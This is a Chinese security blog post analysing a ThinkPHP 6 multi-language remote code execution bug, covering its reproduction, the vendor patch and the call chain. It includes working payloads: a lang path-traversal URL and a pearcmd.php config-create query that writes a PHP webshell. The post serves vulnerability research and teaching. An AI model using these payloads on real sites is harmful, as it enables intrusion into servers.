浅析ThinkPHP多语言RCE

admin 2022年12月25日00:45:30评论256 views字数 3085阅读10分17秒阅读模式



声明:本公众号文章来自作者日常学习笔记或授权后的网络转载,切勿利用文章内的相关技术从事任何非法活动,因此产生的一切后果与文章作者和本公众号无关!


0x00 前言


今天跟了下前段时间爆出来的TP多语言RCE,虽然有限制,但从漏洞挖掘角度来看,这个洞确实很巧妙,做个笔记记录一下,环境如下:


  • PHP 7.3

  • ThinkPHP6.0.13


0x01 漏洞复现


如果就单纯打洞,vulhub已经提供好现成环境了,或者自己compose下载代码改一下配置,TP6来到app/middleware.php,开启多语言模式

<?php// 全局中间件定义文件return [    // 全局请求缓存    // thinkmiddlewareCheckRequestCache::class,    // 多语言加载    thinkmiddlewareLoadLangPack::class,    // Session初始化    // thinkmiddlewareSessionInit::class];


然后我们来到public目录,随便创建个文件,作用就是弹计算器


浅析ThinkPHP多语言RCE

打Exp,成功弹出计算器

http://www.xxx.com/?lang=../../../../../public/abcd

浅析ThinkPHP多语言RCE


0x02 漏洞分析


我们先来diff下官方是怎么修复这个漏洞的,https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099#diff-87105b2e85b593c39052051afbad00516b15ebe5fa0c445e91cfbb397fe0e8cb,可以看到官方直接删除了tp60vendortopthinkframeworksrcthinkLang.php中的delete()、savaCookie()


浅析ThinkPHP多语言RCE


注意看这里代码逻辑的改变,变成强制判断了,本来当上边所有条件都不满足,最后才会去获取请求头中Accept-Language的值,并进行合法性校验


浅析ThinkPHP多语言RCE


改为了不管你上边取什么值,最终都会进行正则匹配,也就是合法性校验,确实就是代码逻辑的问题,就跟人生一样,执行顺序的不同,也可能导致不同的结果


浅析ThinkPHP多语言RCE


那么到这里我们直接把断点下在thinkmiddlewareLoadLangPack::handle即可,这里算是入口点。由它调用detect开启RCE之旅


浅析ThinkPHP多语言RCE


那么我们直接开打,跟进detect,首先会判断url中是否存在lang属性


浅析ThinkPHP多语言RCE


有的话就直接赋值给$langSet,并判断$this->config['allow_lang_list']是否为空,或者咱们的lang是否在这个列表里


浅析ThinkPHP多语言RCE


符合条件,直接跟入thinkLang::setLangSet,作用就是将我们的恶意lang覆盖掉原range


浅析ThinkPHP多语言RCE


接着如果lang发生改变,就调用thinkLang::switchLangSet去设置lang,程序走到这里,也就基本完成了文件包含的使命了


浅析ThinkPHP多语言RCE


最终在thinkLang::load进行文件包含,成功包含了我们的恶意文件


浅析ThinkPHP多语言RCE


完整调用链

Lang.php:170, thinkLang->load()Lang.php:136, thinkLang->switchLangSet()LoadLangPack.php:52, thinkmiddlewareLoadLangPack->handle()Middleware.php:142, call_user_func:{E:Serverphpstudy_proWWWtp60vendortopthinkframeworksrcthinkMiddleware.php:142}()Middleware.php:142, thinkMiddleware->think{closure:E:Serverphpstudy_proWWWtp60vendortopthinkframeworksrcthinkMiddleware.php:137-148}()Pipeline.php:85, thinkPipeline->think{closure:E:Serverphpstudy_proWWWtp60vendortopthinkframeworksrcthinkPipeline.php:83-89}()TraceDebug.php:71, thinktraceTraceDebug->handle()Middleware.php:142, call_user_func:{E:Serverphpstudy_proWWWtp60vendortopthinkframeworksrcthinkMiddleware.php:142}()Middleware.php:142, thinkMiddleware->think{closure:E:Serverphpstudy_proWWWtp60vendortopthinkframeworksrcthinkMiddleware.php:137-148}()Pipeline.php:85, thinkPipeline->think{closure:E:Serverphpstudy_proWWWtp60vendortopthinkframeworksrcthinkPipeline.php:83-89}()Pipeline.php:66, thinkPipeline->then()Http.php:207, thinkHttp->runWithRequest()Http.php:170, thinkHttp->run()index.php:20, {main}()


0x03 pearcmd.php的妙用


跟到这里就会发现,这本质上其实就是一个文件包含,关于PHP LFI利用是一个老生常谈的问题了,在vulhub提供的环境中我们发现PoC长这样

?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php 

这其实用到了pearcmd.php。也就是pear/pcel命令,pear、pecl 其实算是包管理器,他帮助你发布、编译安装PHP的扩展、包


浅析ThinkPHP多语言RCE


上面红框处config-create参数写的很清楚,就是创建文件,两个参数,路径和文件名


浅析ThinkPHP多语言RCE


那么我们先单纯命令行写一个试一下

pear config-create /<?=phpinfo()?> /tmp/test

浅析ThinkPHP多语言RCE


成功写入,第一个参数值会被写入到第二个参数的文件中,这就是RCE的第一个条件:环境中存在pear/pcel命令


浅析ThinkPHP多语言RCE


那么怎么在web中调用它,并且调用指定方法呢?这就要第二个RCE条件:支持register_argc_argv,这个功能的大致作用就是将url属性进行分割,就像这样


浅析ThinkPHP多语言RCE


对应的就是下面这条命令

pear config-create /<?=phpinfo()?> shell.php


0x04 总结


虽然漏洞利用起来有一定难度,但单从安全研究角度来说丝毫不影响它的巧妙,这应该是目前TP系列漏洞中调用栈最少的了,不得不佩服挖洞人,这得对TP这套框架相当熟悉,并且有耐心去跟才能出的“垃圾洞”,确实厉害的


参考链接:

  • https://tttang.com/archive/1865/#toc_thinkphp-6

  • https://tttang.com/archive/13122


原文始发于微信公众号(安全日记):浅析ThinkPHP多语言RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月25日00:45:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅析ThinkPHP多语言RCEhttp://cn-sec.com/archives/1480715.html

发表评论

匿名网友 填写信息